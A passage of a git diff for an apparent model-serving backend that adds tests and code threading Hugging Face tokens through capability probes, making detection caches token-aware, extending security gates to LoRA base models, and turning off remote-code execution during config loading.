+_PROBE_FUNCS = {"is_vision_model", "is_embedding_model", "detect_audio_type"}
+_PROBE_CALLER_ROOTS = ("routes", "core")
+
+
+def _iter_caller_files():
+    for root in _PROBE_CALLER_ROOTS:
+        yield from (_BACKEND / root).rglob("*.py")
+
+
+def _passes_token(call: ast.Call) -> bool:
+    """True if the call passes an hf_token (keyword, or the 2nd positional slot)."""
+    if any(kw.arg in ("hf_token", "token") for kw in call.keywords if kw.arg is not None):
+        return True
+    return len(call.args) >= 2
+
+
+def _call_name(call: ast.Call):
+    fn = call.func
+    return fn.id if isinstance(fn, ast.Name) else getattr(fn, "attr", None)
+
+
+def test_capability_probes_thread_the_hf_token():
+    """Every capability-probe caller passes the token; a token-less probe misclassifies
+    a gated model (the /check-vision regression)."""
+    offenders = []
+    for path in _iter_caller_files():
+        try:
+            tree = ast.parse(path.read_text())
+        except SyntaxError:
+            continue
+        for node in ast.walk(tree):
+            if isinstance(node, ast.Call) and _call_name(node) in _PROBE_FUNCS:
+                if not _passes_token(node):
+                    rel = path.relative_to(_BACKEND)
+                    offenders.append(f"{rel}:{node.lineno} {_call_name(node)}() drops the hf_token")
+    assert not offenders, (
+        "A capability probe must pass the hf_token so gated/private models classify "
+        "correctly:\n  " + "\n  ".join(offenders)
+    )
+
+
+def test_gguf_trust_remote_code_reported_inert_not_from_yaml():
+    """GGUF never executes auto_map, so requires_trust_remote_code is reported via the
+    resolver or False, never the raw YAML bool() (the round-6 regression)."""
+    src = (_BACKEND / "routes" / "inference.py").read_text()
+    assert "requires_trust_remote_code = bool(" not in src, (
+        "Report requires_trust_remote_code via _resolve_loaded_trust_remote_code "
+        "(non-GGUF) or set it False (GGUF); never bool(inference_config.get(...))."
+    )
+
+
+def test_capability_detection_caches_are_token_aware():
+    """Every capability cache is keyed by (model, token_fingerprint) so an unauthenticated
+    miss cannot poison a later authenticated lookup (the audio-cache regression)."""
+    src = (_BACKEND / "utils" / "models" / "model_config.py").read_text()
+    offenders = []
+    for line in src.splitlines():
+        stripped = line.strip()
+        if "_detection_cache:" in stripped and stripped.endswith("= {}"):
+            if "Dict[Tuple" not in stripped and "Dict[tuple" not in stripped:
+                offenders.append(stripped)
+    assert not offenders, (
+        "A capability cache must be keyed by (model, token_fingerprint), not the bare "
+        "model name:\n  " + "\n  ".join(offenders)
+    )
+
+
+def test_malware_and_consent_gates_cover_the_lora_base():
+    """Every worker that runs a load gate also resolves the LoRA base, so a poisoned or
+    custom-code base is never skipped."""
+    gated_workers = [
+        "core/inference/worker.py",
+        "core/export/worker.py",
+        "core/training/worker.py",
+    ]
+    offenders = []
+    for rel in gated_workers:
+        src = (_BACKEND / rel).read_text()
+        runs_gate = "evaluate_file_security(" in src or "evaluate_remote_code_consent" in src
+        resolves_base = "get_base_model_from_lora_identifier(" in src or "base_model" in src
+        if runs_gate and not resolves_base:
+            offenders.append(f"{rel} runs a load gate but never resolves the LoRA base")
+    assert not offenders, "\n".join(offenders)
diff --git a/studio/backend/tests/test_trained_model_scan.py b/studio/backend/tests/test_trained_model_scan.py
index 1958c8d570..7bf572e214 100644
--- a/studio/backend/tests/test_trained_model_scan.py
+++ b/studio/backend/tests/test_trained_model_scan.py
@@ -24,6 +24,7 @@ from utils.models.model_config import (
     ModelConfig,
     get_base_model_from_checkpoint,
     get_base_model_from_lora,
+    get_base_model_from_lora_identifier,
     scan_trained_models,
 )
 
@@ -76,6 +77,83 @@ def test_get_base_model_from_lora_rejects_full_finetune_dirs(tmp_path: Path):
     assert get_base_model_from_lora(str(tmp_path)) is None
 
 
+def test_lora_identifier_resolves_local_dir_like_the_local_helper(tmp_path: Path):
+    # Local path: behaves like the directory reader, no Hub call.
+    (tmp_path / "adapter_config.json").write_text(
+        json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"})
+    )
+    (tmp_path / "adapter_model.safetensors").write_bytes(b"")
+    with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")):
+        assert get_base_model_from_lora_identifier(str(tmp_path)) == "HuggingFaceTB/SmolLM-135M"
+
+
+def test_lora_identifier_resolves_remote_adapter_base(tmp_path: Path):
+    # Remote adapter: the identifier helper fetches adapter_config.json from the Hub so
+    # the gate can scan the base, where the local helper returns None.
+    cfg = tmp_path / "adapter_config.json"
+    cfg.write_text(json.dumps({"base_model_name_or_path": "unsloth/Llama-3.2-1B-Instruct"}))
+
+    def _dl(
+        repo,
+        fn,
+        token = None,
+    ):
+        assert repo == "someone/my-remote-lora"
+        assert fn == "adapter_config.json"
+        return str(cfg)
+
+    assert get_base_model_from_lora("someone/my-remote-lora") is None  # local-only: misses it
+    with patch("huggingface_hub.hf_hub_download", side_effect = _dl):
+        base = get_base_model_from_lora_identifier("someone/my-remote-lora")
+    assert base == "unsloth/Llama-3.2-1B-Instruct"
+
+
+def test_lora_identifier_returns_none_for_non_adapter_remote_repo():
+    # Non-LoRA remote repo: a 404 on adapter_config.json returns None without retrying.
+    from huggingface_hub.utils import EntryNotFoundError
+
+    mock = patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404"))
+    with mock as m:
+        assert get_base_model_from_lora_identifier("unsloth/Llama-3.2-1B-Instruct") is None
+    assert m.call_count == 1  # 404 is definitive -> no retry
+
+
+def test_lora_identifier_retries_transient_then_resolves(tmp_path: Path):
+    # A transient error is retried (not treated as "not a LoRA"); the retry resolves the base.
+    cfg = tmp_path / "adapter_config.json"
+    cfg.write_text(json.dumps({"base_model_name_or_path": "unsloth/Llama-3.2-1B-Instruct"}))
+    calls = {"n": 0}
+
+    def _dl(
+        repo,
+        fn,
+        token = None,
+    ):
+        calls["n"] += 1
+        if calls["n"] == 1:
+            raise RuntimeError("transient network blip")
+        return str(cfg)
+
+    with patch("huggingface_hub.hf_hub_download", side_effect = _dl):
+        base = get_base_model_from_lora_identifier("someone/remote-lora")
+    assert base == "unsloth/Llama-3.2-1B-Instruct"
+    assert calls["n"] == 2  # retried once
+
+
+def test_lora_identifier_persistent_transient_returns_none():
+    # Two transient errors -> None, logged at WARNING (a missed base is gated by neither).
+    # Assert on the logger directly: robust to the logging backend (structlog vs stub).
+    from utils.models import model_config as _mc
+    with (
+        patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("down")),
+        patch.object(_mc.logger, "warning") as mock_warn,
+    ):
+        assert get_base_model_from_lora_identifier("someone/remote-lora") is None
+    assert any(
+        "Could not resolve remote LoRA base" in str(c.args[0]) for c in mock_warn.call_args_list
+    )
+
+
 @patch("utils.models.model_config.is_audio_input_type", return_value = False)
 @patch("utils.models.model_config.detect_audio_type", return_value = None)
 @patch("utils.models.model_config.is_vision_model", return_value = False)
diff --git a/studio/backend/tests/test_validate_model_error.py b/studio/backend/tests/test_validate_model_error.py
index f752f8eada..16edd43f93 100644
--- a/studio/backend/tests/test_validate_model_error.py
+++ b/studio/backend/tests/test_validate_model_error.py
@@ -84,3 +84,130 @@ def test_empty_runtime_error_falls_back_to_generic(monkeypatch):
     http = _provoke(monkeypatch, RuntimeError(""))
     assert http.status_code == 400
     assert http.detail == "Invalid model"
+
+
+def _drive_validate(monkeypatch, *, is_gguf: bool):
+    """Run validate_model with both security helpers forced True; return the response."""
+    from types import SimpleNamespace
+
+    import utils.models.model_config as mc
+
+    monkeypatch.setattr(
+        inf,
+        "_resolve_model_identifier_for_request",
+        lambda request, operation: ("org/mixed-repo", "org/mixed-repo", False),
+    )
+    config = SimpleNamespace(
+        identifier = "org/mixed-repo",
+        display_name = "org/mixed-repo",
+        is_gguf = is_gguf,
+        is_lora = False,
+        is_vision = False,
+        gguf_file = None,
+    )
+    monkeypatch.setattr(inf.ModelConfig, "from_identifier", staticmethod(lambda **_kw: config))
+    # No LoRA base to resolve; keep it offline.
+    monkeypatch.setattr(mc, "get_base_model_from_lora_identifier", lambda *_a, **_k: None)
+    # Both gates WOULD flag this repo (mixed repo with auto_map + an unsafe pickle).
+    monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: True)
+    monkeypatch.setattr(inf, "_requires_security_review_for_model", lambda *_a, **_k: True)
+
+    req = ValidateModelRequest(model_path = "org/mixed-repo")
+    return asyncio.run(inf.validate_model(req, current_subject = "tester"))
+
+
+def test_selected_gguf_variant_skips_trc_and_security_review(monkeypatch):
+    # GGUF loads via llama.cpp: auto_map and root pickles are inert, so neither gate fires.
+    resp = _drive_validate(monkeypatch, is_gguf = True)
+    assert resp.is_gguf is True
+    assert resp.requires_trust_remote_code is False
+    assert resp.requires_security_review is False
+
+
+def test_non_gguf_load_still_runs_trc_and_security_review(monkeypatch):
+    # Control: a Transformers (non-GGUF) load must still honor both gates.
+    resp = _drive_validate(monkeypatch, is_gguf = False)
+    assert resp.is_gguf is False
+    assert resp.requires_trust_remote_code is True
+    assert resp.requires_security_review is True
+
+
+def test_resolve_loaded_trc_prefers_stored_value():
+    # A value stored at load time wins, so a status refresh does not re-derive it.
+    assert (
+        inf._resolve_loaded_trust_remote_code("org/m", {"requires_trust_remote_code": True}, {})
+        is True
+    )
+    assert (
+        inf._resolve_loaded_trust_remote_code(
+            "org/m", {"requires_trust_remote_code": False}, {"trust_remote_code": True}
+        )
+        is False
+    )
+
+
+def test_resolve_loaded_trc_uses_runtime_and_yaml():
+    # No stored value: the trust_remote_code the load used, then the YAML default.
+    assert (
+        inf._resolve_loaded_trust_remote_code("org/m", {}, {}, trust_remote_code_used = True) is True
+    )
+    assert inf._resolve_loaded_trust_remote_code("org/m", {}, {"trust_remote_code": True}) is True
+
+
+def test_resolve_loaded_trc_falls_back_to_raw_auto_map(monkeypatch):
+    # No stored value or runtime/YAML signal: fall back to the raw auto_map check.
+    monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: True)
+    assert inf._resolve_loaded_trust_remote_code("org/custom", {}, {}) is True
+    monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: False)
+    assert inf._resolve_loaded_trust_remote_code("org/plain", {}, {}) is False
+
+
+def _drive_validate_lora(monkeypatch, *, adapter_needs_trc, base_needs_trc):
+    """Run validate_model for a LoRA adapter whose base resolves, with per-target
+    trust_remote_code answers; return the response."""
+    from types import SimpleNamespace
+
+    import utils.models.model_config as mc
+
+    adapter, base = "org/lora-adapter", "org/base-model"
+    monkeypatch.setattr(
+        inf,
+        "_resolve_model_identifier_for_request",
+        lambda request, operation: (adapter, adapter, False),
+    )
+    config = SimpleNamespace(
+        identifier = adapter,
+        display_name = adapter,
+        is_gguf = False,
+        is_lora = True,
+        is_vision = False,
+        gguf_file = None,
+    )
+    monkeypatch.setattr(inf.ModelConfig, "from_identifier", staticmethod(lambda **_kw: config))
+    monkeypatch.setattr(mc, "get_base_model_from_lora_identifier", lambda *_a, **_k: base)
+    trc = {adapter: adapter_needs_trc, base: base_needs_trc}
+    monkeypatch.setattr(
+        inf,
+        "_requires_trust_remote_code_for_model",
+        lambda target, *_a, **_k: trc.get(target, False),
+    )
+    monkeypatch.setattr(inf, "_requires_security_review_for_model", lambda *_a, **_k: False)
+    req = ValidateModelRequest(model_path = adapter)
+    return asyncio.run(inf.validate_model(req, current_subject = "tester"))
+
+
+def test_validate_lora_flags_trc_from_adapter_only(monkeypatch):
+    # Adapter ships auto_map, base does not: the requirement follows either repo.
+    resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = True, base_needs_trc = False)
+    assert resp.requires_trust_remote_code is True
+
+
+def test_validate_lora_flags_trc_from_base_only(monkeypatch):
+    # The classic case: the base ships custom code, the adapter does not.
+    resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = False, base_needs_trc = True)
+    assert resp.requires_trust_remote_code is True
+
+
+def test_validate_lora_clean_when_neither_needs_trc(monkeypatch):
+    resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = False, base_needs_trc = False)
+    assert resp.requires_trust_remote_code is False
diff --git a/studio/backend/tests/test_vision_cache.py b/studio/backend/tests/test_vision_cache.py
index d1bdec8449..192bec53c8 100644
--- a/studio/backend/tests/test_vision_cache.py
+++ b/studio/backend/tests/test_vision_cache.py
@@ -96,11 +96,13 @@ class TestVisionCacheSubprocessPath:
     The cache should spawn the subprocess at most once per model per
     process."""
 
+    @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None)
     @patch("utils.models.model_config._is_vision_model_subprocess", return_value = True)
     @patch("utils.transformers_version.needs_transformers_5", return_value = True)
-    def test_subprocess_called_once_with_cache(self, mock_needs_t5, mock_subprocess):
-        """Subprocess fires only on the first call; second is cached."""
-        # First call: uncached → subprocess
+    def test_subprocess_called_once_with_cache(self, mock_needs_t5, mock_subprocess, mock_raw):
+        """When the raw-config reader is inconclusive (None), the transformers
+        5.x subprocess fires only on the first call; the second is cached."""
+        # First call: raw None -> subprocess
         assert is_vision_model("unsloth/Qwen3.5-2B") is True
         # Second call: cache hit, no subprocess
         assert is_vision_model("unsloth/Qwen3.5-2B") is True
@@ -111,14 +113,16 @@ class TestVisionCacheSubprocessPath:
     @patch("utils.models.model_config._raw_config_has_vision_config", return_value = True)
     @patch("utils.models.model_config._is_vision_model_subprocess", return_value = None)
     @patch("utils.transformers_version.needs_transformers_5", return_value = True)
-    def test_subprocess_none_falls_back_to_raw_vision_config(
+    def test_raw_config_primary_skips_subprocess(
         self, mock_needs_t5, mock_subprocess, mock_raw_config
     ):
+        # The raw config.json read is the primary path; a definitive answer there never
+        # reaches the transformers-5.x subprocess or needs_transformers_5 routing.
         assert is_vision_model("unsloth/gemma-4-E4B-it") is True
         assert is_vision_model("unsloth/gemma-4-E4B-it") is True
 
-        mock_subprocess.assert_called_once()
         mock_raw_config.assert_called_once_with("unsloth/gemma-4-E4B-it", hf_token = None)
+        mock_subprocess.assert_not_called()
 
 
 # ---------------------------------------------------------------------------
@@ -259,9 +263,10 @@ class TestVisionCacheDirectPath:
     """Models that do NOT need transformers 5.x detect via
     load_model_config directly. The cache must work the same way."""
 
+    @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None)
     @patch("utils.transformers_version.needs_transformers_5", return_value = False)
     @patch("utils.models.model_config.load_model_config")
-    def test_direct_vlm_detection_cached(self, mock_load_config, mock_needs_t5):
+    def test_direct_vlm_detection_cached(self, mock_load_config, mock_needs_t5, mock_raw):
         """A standard VLM detected via architecture suffix should be cached."""
         cfg = MagicMock(spec = [])  # strict: only explicitly set attrs exist
         cfg.model_type = "gemma3"
@@ -273,9 +278,10 @@ class TestVisionCacheDirectPath:
         # load_model_config should only be called once
         mock_load_config.assert_called_once()
 
+    @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None)
     @patch("utils.transformers_version.needs_transformers_5", return_value = False)
     @patch("utils.models.model_config.load_model_config")
-    def test_direct_non_vlm_detection_cached(self, mock_load_config, mock_needs_t5):
+    def test_direct_non_vlm_detection_cached(self, mock_load_config, mock_needs_t5, mock_raw):
         """A standard text model (no VLM indicators) should cache False."""
         cfg = MagicMock(spec = [])  # spec=[] means no attributes at all
         cfg.model_type = "llama"
@@ -287,9 +293,12 @@ class TestVisionCacheDirectPath:
         assert is_vision_model("meta-llama/Llama-3-8B") is False
         mock_load_config.assert_called_once()
 
+    @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None)
     @patch("utils.transformers_version.needs_transformers_5", return_value = False)
     @patch("utils.models.model_config.load_model_config")
-    def test_vision_config_attr_detected_and_cached(self, mock_load_config, mock_needs_t5):
+    def test_vision_config_attr_detected_and_cached(
+        self, mock_load_config, mock_needs_t5, mock_raw
+    ):
         """Models with vision_config (LLaVA, Qwen2-VL, etc.) should be cached as True."""
         cfg = MagicMock(spec = [])  # strict: only explicitly set attrs exist
         cfg.model_type = "qwen2_vl"
@@ -301,9 +310,10 @@ class TestVisionCacheDirectPath:
         assert is_vision_model("Qwen/Qwen2-VL-7B") is True
         mock_load_config.assert_called_once()
 
+    @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None)
     @patch("utils.transformers_version.needs_transformers_5", return_value = False)
     @patch("utils.models.model_config.load_model_config")
-    def test_gemma4_model_type_detected_and_cached(self, mock_load_config, mock_needs_t5):
+    def test_gemma4_model_type_detected_and_cached(self, mock_load_config, mock_needs_t5, mock_raw):
         cfg = MagicMock(spec = [])
         cfg.model_type = "gemma4"
         cfg.architectures = ["Gemma4ForConditionalGeneration"]
@@ -313,9 +323,12 @@ class TestVisionCacheDirectPath:
         assert is_vision_model("google/gemma-4-E4B-it") is True
         mock_load_config.assert_called_once()
 
+    @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None)
     @patch("utils.transformers_version.needs_transformers_5", return_value = False)
     @patch("utils.models.model_config.load_model_config")
-    def test_gemma4_audio_subconfig_not_detected_as_vision(self, mock_load_config, mock_needs_t5):
+    def test_gemma4_audio_subconfig_not_detected_as_vision(
+        self, mock_load_config, mock_needs_t5, mock_raw
+    ):
         cfg = MagicMock(spec = [])
         cfg.model_type = "gemma4_audio"
         cfg.architectures = ["Gemma4AudioModel"]
@@ -325,9 +338,12 @@ class TestVisionCacheDirectPath:
         assert is_vision_model("local/gemma4-audio-encoder") is False
         mock_load_config.assert_called_once()
 
+    @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None)
     @patch("utils.transformers_version.needs_transformers_5", return_value = False)
     @patch("utils.models.model_config.load_model_config")
-    def test_gemma4_text_subconfig_not_detected_as_vision(self, mock_load_config, mock_needs_t5):
+    def test_gemma4_text_subconfig_not_detected_as_vision(
+        self, mock_load_config, mock_needs_t5, mock_raw
+    ):
         cfg = MagicMock(spec = [])
         cfg.model_type = "gemma4_text"
         cfg.architectures = ["Gemma4ForCausalLM"]
@@ -337,9 +353,10 @@ class TestVisionCacheDirectPath:
         assert is_vision_model("local/gemma-4-text") is False
         mock_load_config.assert_called_once()
 
+    @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None)
     @patch("utils.transformers_version.needs_transformers_5", return_value = False)
     @patch("utils.models.model_config.load_model_config")
-    def test_audio_model_excluded_and_cached(self, mock_load_config, mock_needs_t5):
+    def test_audio_model_excluded_and_cached(self, mock_load_config, mock_needs_t5, mock_raw):
         """Audio-only models (csm, whisper) with ForConditionalGeneration
         should be excluded from VLM detection and cached as False."""
         cfg = MagicMock(spec = [])  # strict: only explicitly set attrs exist
@@ -489,7 +506,8 @@ class TestVlmAudioExclusion:
     fallback, and the inlined subprocess helper too."""
 
     def test_audio_only_set_canonical(self):
-        assert _AUDIO_ONLY_MODEL_TYPES == {"csm", "whisper"}
+        # Derived from the transformers audio registry, so a superset of {csm, whisper}.
+        assert {"csm", "whisper"} <= _AUDIO_ONLY_MODEL_TYPES
 
     def test_is_vlm_excludes_whisper(self):
         cfg = MagicMock(spec = [])
@@ -528,3 +546,68 @@ class TestVlmAudioExclusion:
             },
         )
         assert is_vision_model(str(tmp_path)) is False
+
+
+class TestAudioDetectionCacheTokenAware:
+    """The audio cache mirrors the vision cache: keyed by (model, token_fingerprint)
+    so an unauthenticated miss cannot poison a later authenticated lookup."""
+
+    def test_audio_cache_is_token_aware(self, monkeypatch):
+        import utils.models.model_config as mc
+
+        mc._audio_detection_cache.clear()
+        calls = []
+
+        def _fake(name, hf_token = None):
+            calls.append(hf_token)
+            # Gated repo: only an authenticated probe can read the tokenizer.
+            return ("bicodec", True) if hf_token else (None, True)
+
+        monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _fake)
+        monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False)
+        monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n)
+
+        # Unauthenticated miss caches None under (name, None)...
+        assert mc.detect_audio_type("private/spark") is None
+        # ...but the authenticated call uses a different key and is NOT poisoned.
+        assert mc.detect_audio_type("private/spark", hf_token = "hf_x") == "bicodec"
+        assert calls == [None, "hf_x"]
+
+        # Same (model, token) is served from cache (no third probe).
+        assert mc.detect_audio_type("private/spark", hf_token = "hf_x") == "bicodec"
+        assert calls == [None, "hf_x"]
+        mc._audio_detection_cache.clear()
+
+    def test_transient_none_is_not_cached_but_definitive_none_is(self, monkeypatch):
+        """A transient probe failure (definitive=False) must retry; a clean
+        'not audio' read (definitive=True) caches so we don't re-probe."""
+        import utils.models.model_config as mc
+
+        mc._audio_detection_cache.clear()
+        monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False)
+        monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n)
+
+        transient_calls = []
+
+        def _transient(name, hf_token = None):
+            transient_calls.append(hf_token)
+            return (None, False)  # network/5xx -- not cacheable
+
+        monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _transient)
+        assert mc.detect_audio_type("flaky/model") is None
+        assert mc.detect_audio_type("flaky/model") is None
+        # Re-probed both times: the transient None was never cached.
+        assert transient_calls == [None, None]
+
+        definitive_calls = []
+
+        def _definitive(name, hf_token = None):
+            definitive_calls.append(hf_token)
+            return (None, True)  # read the config, no audio tokens
+
+        monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _definitive)
+        assert mc.detect_audio_type("plain/text-model") is None
+        assert mc.detect_audio_type("plain/text-model") is None
+        # Probed once: the definitive None was cached.
+        assert definitive_calls == [None]
+        mc._audio_detection_cache.clear()
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index 08a470f11f..12baded14a 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -1136,14 +1136,22 @@ def _get_hf_safetensors_total_params(
 
 
 def _load_config_for_gpu_estimate(model_name: str, hf_token: Optional[str] = None):
+    # Estimation needs only declarative config.json fields, and this probe runs
+    # on model selection, so read raw config.json (never run auto_map Python) and
+    # expose it as an attribute namespace for downstream getattr access.
     try:
-        from transformers import AutoConfig
-        trust_remote_code = model_name.lower().startswith("unsloth/")
-        return AutoConfig.from_pretrained(
-            model_name,
-            token = hf_token,
-            trust_remote_code = trust_remote_code,
-        )
+        from utils.transformers_version import _load_config_json
+
+        cfg = _load_config_json(model_name, hf_token = hf_token)
+        if cfg is None:
+            return None
+
+        def _to_ns(d):
+            if isinstance(d, dict):
+                return types.SimpleNamespace(**{k: _to_ns(v) for k, v in d.items()})
+            return d
+
+        return _to_ns(cfg)
     except Exception as e:
         logger.warning("Could not load config for '%s': %s", model_name, e)
         return None
diff --git a/studio/backend/utils/models/__init__.py b/studio/backend/utils/models/__init__.py
index 74d08ac116..4a5fb7274c 100644
--- a/studio/backend/utils/models/__init__.py
+++ b/studio/backend/utils/models/__init__.py
@@ -16,6 +16,7 @@ from .model_config import (
     get_base_model_from_checkpoint,
     load_model_defaults,
     get_base_model_from_lora,
+    get_base_model_from_lora_identifier,
     load_model_config,
     list_gguf_variants,
     extract_model_size_b,
@@ -40,6 +41,7 @@ __all__ = [
     "get_base_model_from_checkpoint",
     "load_model_defaults",
     "get_base_model_from_lora",
+    "get_base_model_from_lora_identifier",
     "load_model_config",
     "list_gguf_variants",
     "extract_model_size_b",
diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py
index 83cd281c2e..45474389c8 100644
--- a/studio/backend/utils/models/model_config.py
+++ b/studio/backend/utils/models/model_config.py
@@ -470,9 +470,15 @@ def load_model_config(
     model_name: str,
     use_auth: bool = False,
     token: Optional[str] = None,
-    trust_remote_code: bool = True,
+    trust_remote_code: bool = False,
 ):
-    """Load model config with optional authentication control."""
+    """Load model config with optional authentication control.
+
+    ``trust_remote_code`` defaults to ``False``: capability detection and
+    metadata lookups must never execute a model repo's ``auto_map`` Python.
+    Deliberate remote-code loads pass the flag explicitly through
+    ``FastLanguageModel.from_pretrained`` with the user's own consent.
+    """
     from transformers import AutoConfig
 
     if token:
@@ -496,22 +502,72 @@ def load_model_config(
     )
 
 
-# VLM architecture suffixes and known VLM model_type values.
-_VLM_ARCH_SUFFIXES = ("ForConditionalGeneration", "ForVisionText2Text")
-_VLM_MODEL_TYPES = {
-    "phi3_v",
-    "llava",
-    "llava_next",
-    "llava_onevision",
-    "internvl_chat",
-    "cogvlm2",
-    "minicpmv",
-    "gemma4",
-}
+# Detection sets come from the installed transformers registry, unioned with a
+# small curated set of auto_map VLMs (DeepSeek-OCR, Kimi, phi3_v) whose arch is
+# repo-defined and absent from the registry. ForConditionalGeneration is NOT a
+# vision signal (overloaded across text/audio/vision); ForVisionText2Text is.
+_VLM_ARCH_SUFFIXES = ("ForVisionText2Text",)
 
-# Audio-only models that share the ForConditionalGeneration suffix
-# (e.g. CsmForConditionalGeneration, WhisperForConditionalGeneration).
-_AUDIO_ONLY_MODEL_TYPES = {"csm", "whisper"}
+_CURATED_REMOTE_VLM_TYPES = frozenset(
+    {
+        "phi3_v",
+        "llava",
+        "llava_next",
+        "llava_onevision",
+        "internvl_chat",
+        "cogvlm2",
+        "minicpmv",
+        "gemma4",
+        "deepseek_vl_v2",
+        "kimi_k25",
+    }
+)
+
+# Fallbacks used only if the transformers registry import fails.
+_FALLBACK_AUDIO_MODEL_TYPES = frozenset({"csm", "whisper"})
+
+
+def _build_detection_sets():
+    """Return (vlm_model_types, vlm_class_names, audio_model_types) from the
+    installed transformers registry, unioned with the curated repo-code VLM
+    set. Reads only static name dicts -- no model is loaded, no code runs.
+    Falls back to curated/hardcoded values if transformers is unavailable.
+    """
+    try:
+        from transformers.models.auto import modeling_auto as _ma
+
+        def _names(attr):
+            d = getattr(_ma, attr, None)
+            return dict(d) if d else {}
+
+        itt = _names("MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES")
+        v2s = _names("MODEL_FOR_VISION_2_SEQ_MAPPING_NAMES")
+        vlm_types = set(itt) | set(v2s) | set(_CURATED_REMOTE_VLM_TYPES)
+        vlm_classes = set(itt.values()) | set(v2s.values())
+
+        audio_types: set = set()
+        for attr in (
+            "MODEL_FOR_CTC_MAPPING_NAMES",
+            "MODEL_FOR_SPEECH_SEQ_2_SEQ_MAPPING_NAMES",
+            "MODEL_FOR_AUDIO_CLASSIFICATION_MAPPING_NAMES",
+            "MODEL_FOR_TEXT_TO_WAVEFORM_MAPPING_NAMES",
+            "MODEL_FOR_TEXT_TO_SPECTROGRAM_MAPPING_NAMES",
+            "MODEL_FOR_AUDIO_XVECTOR_MAPPING_NAMES",
+        ):
+            audio_types |= set(_names(attr))
+        audio_types |= set(_FALLBACK_AUDIO_MODEL_TYPES)
+
+        return frozenset(vlm_types), frozenset(vlm_classes), frozenset(audio_types)
+    except Exception as exc:  # pragma: no cover - defensive
+        logger.warning("Could not build detection sets from transformers: %s", exc)
+        return (
+            frozenset(_CURATED_REMOTE_VLM_TYPES),
+            frozenset(),
+            frozenset(_FALLBACK_AUDIO_MODEL_TYPES),
+        )
+
+
+_VLM_MODEL_TYPES, _VLM_CLASS_NAMES, _AUDIO_ONLY_MODEL_TYPES = _build_detection_sets()
 
 # Pre-computed .venv_t5 paths and backend dir for subprocess version switching.
 # Vision check uses the Gemma 4 5.5 sidecar for existing Gemma 4 architectures.
@@ -524,13 +580,19 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent.parent)
 def _is_vlm(config) -> bool:
     architectures = getattr(config, "architectures", None) or []
     model_type = getattr(config, "model_type", None)
-    if model_type in _AUDIO_ONLY_MODEL_TYPES:
-        return False
-    return (
-        any(x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)
-        or hasattr(config, "vision_config")
+    explicit_vision = (
+        hasattr(config, "vision_config")
         or hasattr(config, "img_processor")
         or hasattr(config, "image_token_index")
+        or hasattr(config, "projector_config")
+    )
+    # Audio-only models are vision only if they carry an explicit vision sub-config.
+    if model_type in _AUDIO_ONLY_MODEL_TYPES and not explicit_vision:
+        return False
+    return (
+        explicit_vision
+        or any(x in _VLM_CLASS_NAMES for x in architectures)
+        or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)
         or model_type in _VLM_MODEL_TYPES
     )
 
@@ -553,13 +615,19 @@ def _raw_config_has_vision_config(
         config = json.loads(config_path.read_text())
         architectures = config.get("architectures") or []
         model_type = config.get("model_type")
-        if model_type in _AUDIO_ONLY_MODEL_TYPES:
-            return False
-        return (
-            any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)
-            or "vision_config" in config
+        explicit_vision = (
+            "vision_config" in config
             or "img_processor" in config
             or "image_token_index" in config
+            or "projector_config" in config
+        )
+        # Audio-only models are vision only if they carry an explicit vision sub-config.
+        if model_type in _AUDIO_ONLY_MODEL_TYPES and not explicit_vision:
+            return False
+        return (
+            explicit_vision
+            or any(isinstance(x, str) and x in _VLM_CLASS_NAMES for x in architectures)
+            or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)
             or model_type in _VLM_MODEL_TYPES
         )
     except Exception as exc:
@@ -570,19 +638,25 @@ def _raw_config_has_vision_config(
 # why: inline _is_vlm and constants are prepended so the subprocess stays
 # self-contained and does not import the parent backend module graph.
 _VISION_CHECK_INLINE_HELPERS = (
-    "_VLM_ARCH_SUFFIXES = " + repr(_VLM_ARCH_SUFFIXES) + "\n"
-    "_VLM_MODEL_TYPES = " + repr(_VLM_MODEL_TYPES) + "\n"
-    "_AUDIO_ONLY_MODEL_TYPES = " + repr(_AUDIO_ONLY_MODEL_TYPES) + "\n"
+    "_VLM_ARCH_SUFFIXES = " + repr(tuple(_VLM_ARCH_SUFFIXES)) + "\n"
+    "_VLM_MODEL_TYPES = " + repr(set(_VLM_MODEL_TYPES)) + "\n"
+    "_VLM_CLASS_NAMES = " + repr(set(_VLM_CLASS_NAMES)) + "\n"
+    "_AUDIO_ONLY_MODEL_TYPES = " + repr(set(_AUDIO_ONLY_MODEL_TYPES)) + "\n"
     "def _is_vlm(config):\n"
